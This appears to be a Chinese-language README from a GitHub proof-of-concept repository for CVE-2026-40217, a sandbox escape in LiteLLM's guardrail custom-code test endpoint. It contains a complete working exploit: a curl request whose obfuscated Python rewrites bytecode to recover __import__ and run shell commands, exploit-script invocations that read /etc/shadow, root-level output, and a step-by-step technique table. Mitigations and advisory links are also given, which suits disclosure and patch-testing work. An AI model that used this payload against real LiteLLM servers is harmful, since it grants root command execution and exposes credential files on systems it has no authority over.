learner202649/CVE-2026-40217-PoC
GitHub: learner202649/CVE-2026-40217-PoC
这是一个用于复现LiteLLM沙箱逃逸漏洞CVE-2026-40217的概念验证PoC项目。
Stars: 0 | Forks: 0
# CVE-2026-40217 — LiteLLM 守卫栏沙箱逃逸
| 字段 | 值 |
|-------|-------|
| CVE | **CVE-2026-40217** |
| CVSS | **8.8 (高危)** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| CWE | CWE-913 (对动态管理代码资源控制不当) / CWE-94 |
| 受影响版本 | LiteLLM ≤ **2026-04-08** (v1.83.11 之前) |
| 已修复版本 | **v1.83.11+** (使用 `RestrictedPython` 替代了手动实现的沙箱) |
| 发现者 | Markus Vervier — [X41 D-Sec GmbH](https://x41-dsec.de) |
| 发布日期 | 2026-04-08 |
| 相关链接 | [X41 公告](https://x41-dsec.de/lab/advisories/x41-2026-001-litellm/) • [GHSA-wxxx-gvqv-xp7p](https://github.com/advisories/GHSA-3926-2jvf-fg29) • [oss-security](https://www.openwall.com/lists/oss-security/2026/04/09/1) |
## 描述
LiteLLM 中的 `POST /guardrails/test_custom_code` 端点允许经过身份验证的用户提交任意 Python 代码进行守卫栏测试。该端点尝试使用**基于正则表达式的源代码过滤**来限制危险操作,但这可以被**使用 CPython 字节码重写技术**完全绕过,导致在代理进程中实现**任意代码执行**。在默认的 Docker 镜像中,代理以 **root** 权限运行,这加剧了漏洞的影响。
## 概念验证
### 前置条件
```
# 安装 Python 依赖项(exploit.py 所需)
pip install -r requirements.txt
```
### 快速开始 (Docker)
```
# 1. 安装依赖项(如未完成)
pip install -r requirements.txt
# 2. 启动一个存在漏洞的 LiteLLM 实例
docker compose up -d
# 3. 运行漏洞利用程序
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. 读取敏感文件(修改 --cmd 参数)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# 或直接使用 curl
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
```
### 预期结果
```
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
```
## 沙箱逃逸技术 (6个步骤)
| 步骤 | 技术 | 代码 |
|------|-----------|------|
| 1 | **通过字符串拼接绕过正则表达式** | `"_"+"_gl"+"ob"+"als"+"_"+"_"` |
| 2 | 通过 `str.mro()[1]` 获取 `object` 类 | `obj = str.mro()[1]` |
| 3 | 通过 `gi_code` 访问生成器代码对象 | `c = g(None).gi_code` |
| 4 | 通过 `object.__setattr__` 交换函数 `__code__` | `obj.__setattr__(g, cn, c.replace(co_names=(gn,)))` |
| 5 | 从 `http_get.__globals__` 提取真实的内置函数 | `imp = gd["__builtins__"]["__import__"]` |
| 6 | 通过 `os.popen` 实现 RCE | `imp("os").popen("id").read()` |
## 仓库结构
```
CVE-2026-40217/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Bytecode payload module
├── docs/
│ └── advisory.md # Translated advisory details
└── screenshots/ # Proof screenshots
```
## 缓解措施
1. **升级**到 LiteLLM **v1.83.11+**(使用 `RestrictedPython` 替代手动实现的沙箱)
2. **阻止**反向代理/API 网关访问 `/guardrails/test_custom_code` 端点
3. **限制**主密钥仅由受信任的管理员使用
4. **在 Docker 中以非 root 用户运行**:`docker run --user 1000:1000 ...`
5. **不要**将管理接口暴露给不受信任的网络
## 参考链接
- [X41 D-SEC 公告 x41-2026-001](https://x41-dsec.de/lab/advisories/x41-2026-001-litellm/)
- [GitHub 公告 GHSA-wxxx-gvqv-xp7p](https://github.com/advisories/GHSA-3926-2jvf-fg29)
- [GitLab 公告](https://advisories.gitlab.com/pypi/litellm/CVE-2026-40217/)
- [oss-security 披露](https://www.openwall.com/lists/oss-security/2026/04/09/1)
- [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-40217)
标签:请求拦截, 逆向工具